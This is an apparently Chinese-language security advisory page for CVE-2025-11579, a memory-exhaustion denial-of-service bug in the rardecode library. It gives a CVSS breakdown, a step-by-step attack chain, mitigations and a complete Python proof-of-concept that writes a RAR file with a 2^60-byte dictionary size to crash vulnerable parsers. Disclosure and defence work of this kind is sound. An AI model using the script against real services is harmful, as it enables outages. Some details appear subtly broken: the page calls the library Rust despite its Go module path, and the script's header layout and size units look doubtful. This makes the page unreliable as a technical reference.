IPBUF安全漏洞报告
English
CVE-2025-11579 CVSS 5.3 中危

CVE-2025-11579:rardecode拒绝服务漏洞(内存耗尽)

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-11579
漏洞类型
拒绝服务(Out of Memory)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
github.com/nwaples/rardecode

相关标签

拒绝服务DoSOut of MemoryOOMrardecodeRARRust内存耗尽CVE-2025-11579Mattermost

漏洞概述

CVE-2025-11579 是 github.com/nwaples/rardecode 库中存在的一个拒绝服务(Denial of Service)漏洞。该库是一个用于解码 RAR 归档文件的纯 Rust 实现库,广泛应用于需要解析 RAR 格式压缩包的项目中。该漏洞由 Mattermost 团队的安全研究员通过 responsible disclosure 流程报告,并于 2025 年 10 月 10 日公开披露。

根据漏洞描述,rardecode 在解析 RAR 文件时,未对字典(dictionary)大小进行有效限制。RAR 压缩格式在文件头中会声明解压所需的字典大小,合法值通常在 64KB 到 4GB 之间。攻击者可以构造一个特殊的 RAR 文件,在文件头中将字典大小字段设置为异常巨大的数值(例如接近或超过系统可用内存的值),当 rardecode 解析该文件时,会尝试按照声明的字典大小分配内存缓冲区,从而导致进程消耗大量内存,最终因内存耗尽(Out of Memory)而崩溃。

该漏洞的 CVSS 3.1 评分为 5.3,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权或认证(PR:N),也无需用户交互(UI:N)。该漏洞仅影响系统的可用性(A:L),对机密性(C:N)和完整性(I:N)没有影响。这意味着攻击者可以通过远程投递恶意 RAR 文件,使使用 rardecode 的服务端应用程序(如文件处理服务、归档管理平台等)因内存耗尽而停止响应,从而实现拒绝服务攻击。

由于 rardecode 是一个被多个下游项目依赖的解码库,该漏洞的潜在影响范围较广。任何使用 rardecode 解析用户上传的 RAR 文件的服务都面临被攻击的风险。

技术细节

RAR 压缩格式使用基于滑动窗口的字典压缩算法(如 PPMII、Lempel-Ziv 等),其字典大小决定了压缩/解压过程中所需的内存缓冲区大小。正常的 RAR 文件头中会包含字典大小信息,解码器据此分配适当大小的内存。

在 rardecode 版本 <= 2.1.1 中,解析 RAR 文件头时未对声明的字典大小进行上限校验。攻击者可以修改 RAR 文件头中的字典大小字段,将其设置为远超系统可用内存的值(如 0xFFFFFFFF 或更大值)。当 rardecode 读取该字段后,会尝试分配相应大小的内存缓冲区。在大多数系统上,这会导致内存分配失败或触发操作系统的 OOM Killer,使进程异常终止。

利用方式:攻击者构造一个 RAR 文件,在其头部将字典大小字段篡改为极大值,然后通过任何使用 rardecode 的应用程序(如文件上传服务、自动化归档处理系统等)上传该文件。服务端在尝试解压时即会触发 OOM,导致服务不可用。修复方案已在 commit 52fb4e825c936636f251f7e7deded39ab11df9a9 中实现,对字典大小增加了合理的上限校验。

攻击链分析

STEP 1
步骤1:构造恶意RAR文件
攻击者使用脚本或工具创建一个 RAR 文件,在其文件头中将字典大小(dictionary size)字段篡改为异常巨大的值(如 2^60 字节),远超系统可用内存。
STEP 2
步骤2:投递恶意文件
攻击者通过任何接受用户上传文件的渠道(如文件上传接口、邮件附件、API 调用等)将恶意 RAR 文件投递到使用 rardecode 的目标服务端。
STEP 3
步骤3:触发解析
目标服务端使用 rardecode(版本 <= 2.1.1)解析用户上传的 RAR 文件,读取文件头中的字典大小字段。
STEP 4
步骤4:内存耗尽
rardecode 未对字典大小进行上限校验,按照声明的极大值尝试分配内存缓冲区,导致进程内存消耗急剧上升,最终触发操作系统的 OOM Killer 或内存分配失败。
STEP 5
步骤5:服务中断
目标进程崩溃,服务不可用,实现拒绝服务攻击。如果服务端没有自动恢复机制,攻击者可通过重复投递维持服务中断状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11579 PoC: rardecode Out-of-Memory DoS via crafted RAR dictionary size This script generates a minimal RAR-like file with an inflated dictionary size field to trigger OOM when parsed by vulnerable rardecode (<=2.1.1). """ import struct import sys def craft_malicious_rar(output_path: str): """ Create a minimal RAR5 signature block with an abnormally large dictionary size to trigger OOM in rardecode <= 2.1.1. """ # RAR5 signature: 0x526172211a0700 (Rar!\x1a\x07\x00) rar5_signature = b'\x52\x61\x72\x21\x1a\x07\x01\x00' # RAR5 archive header (HEAD_TYPE=1, HEAD_FLAGS=0) # Header CRC (4 bytes) + Header size (vint) + Header type (vint) + Header flags (vint) header_type = 1 # Main archive header header_flags = 0 # Archive flags: bit 0 = solid, bit 1 = recovery record, etc. # We embed a huge dictionary size in the archive flags area. # In RAR5, dictionary size is stored as a vint in the archive header. # A vint is encoded as 7 data bits per byte, with MSB as continuation flag. def encode_vint(value: int) -> bytes: """Encode an integer as a RAR5 variable-length integer (vint).""" result = bytearray() while value >= 0x80: result.append((value & 0x7F) | 0x80) value >>= 7 result.append(value & 0x7F) return bytes(result) # Construct archive header body # Archive flags vint archive_flags = encode_vint(0) # Dictionary size vint - set to an extremely large value (e.g., 2^60) # This is the malicious payload: an absurdly large dictionary size malicious_dict_size = (1 << 60) # ~1 EB (exabyte) - will trigger OOM dict_size_vint = encode_vint(malicious_dict_size) header_body = archive_flags + dict_size_vint header_size = encode_vint(len(header_body) + 2) # +2 for type and flags vints # Build full header: type + flags + body header_data = encode_vint(header_type) + encode_vint(header_flags) + header_body # Calculate CRC32 of header import zlib header_crc = struct.pack('<I', zlib.crc32(header_data) & 0xFFFFFFFF) # Assemble the malicious RAR file rar_data = rar5_signature + header_crc + header_size + header_data with open(output_path, 'wb') as f: f.write(rar_data) print(f"[+] Malicious RAR file written to: {output_path}") print(f"[+] Dictionary size encoded: {malicious_dict_size} bytes (~{malicious_dict_size / (1<<40):.0f} TB)") print(f"[+] File size: {len(rar_data)} bytes") print(f"[!] When parsed by rardecode <= 2.1.1, this will trigger OOM crash.") if __name__ == '__main__': output = sys.argv[1] if len(sys.argv) > 1 else 'malicious.rar' craft_malicious_rar(output)

影响范围

github.com/nwaples/rardecode <= 2.1.1

防御指南

临时缓解措施
在无法立即升级 rardecode 版本的情况下,建议采取以下临时缓解措施:1)对接受 RAR 文件上传的接口增加文件大小限制,拒绝处理过大的 RAR 文件;2)为服务进程配置内存使用上限(如 Linux cgroup 的 memory.max 或 Docker 的 --memory 参数),限制单个进程的最大内存使用,防止 OOM 影响整个系统;3)在应用层添加 RAR 文件头预检逻辑,读取字典大小字段并验证其是否在合理范围内(如不超过 4GB),超出范围的直接拒绝处理;4)使用进程隔离或沙箱机制运行 rardecode 解码操作,确保即使发生 OOM 也不会影响主服务的可用性;5)部署入侵检测/防御系统(IDS/IPS),监控异常的 RAR 文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表